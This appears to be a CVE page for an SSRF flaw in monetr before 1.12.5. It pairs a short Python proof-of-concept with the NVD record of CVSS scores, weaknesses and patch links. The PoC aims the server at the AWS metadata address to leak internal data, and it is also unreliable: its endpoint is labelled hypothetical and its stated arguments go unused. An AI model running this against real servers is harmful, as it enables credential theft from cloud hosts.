CVE-2026-41644

import requests # Exploit Title: monetr SSRF PoC (CVE-2026-41644) # Description: Sends a malicious request to trigger SSRF via Lunch Flow integration # Usage: python3 poc.py <target_url> <attacker_url> target_url = "http://localhost:8080/api/lunch/flow/callback" # Hypothetical endpoint malicious_url = "http://169.254.169.254/latest/meta-data/" # Example AWS Metadata auth_token = "Bearer YOUR_SESSION_TOKEN" headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Payload attempting to force server-side request payload = { "url": malicious_url, "token": "test" } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) print(f"[+] Status: {response.status_code}") print(f"[+] Response: {response.text}") # Check if the internal response is leaked in the error message except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-41644", "sourceIdentifier": "[email protected]", "published": "2026-05-07T12:16:17.810", "lastModified": "2026-05-11T16:40:30.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "monetr is a budgeting application for recurring expenses. Prior to version 1.12.5, a server-side request forgery (SSRF) vulnerability in monetr's Lunch Flow integration allowed any authenticated user on a self-hosted instance to cause the monetr server to issue HTTP GET requests to arbitrary URLs supplied by the caller, with the response body from non-200 upstream responses reflected back in the API error message. This issue has been patched in version 1.12.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}, {"lang": "en", "value": "CWE-770"}, {"lang": "en", "value": "CWE-918"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:monetr:monetr:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.5", "matchCriteriaId": "EFDFB59D-CA61-476A-B1B7-E142CE32BD0E"}]}]}], "references": [{"url": "https://github.com/monetr/monetr/commit/c260caa3c573a4a396ec2d264c7641a5d958385b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/monetr/monetr/pull/3122", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/monetr/monetr/releases/tag/v1.12.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/monetr/monetr/security/advisories/GHSA-29v9-frvh-c426", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}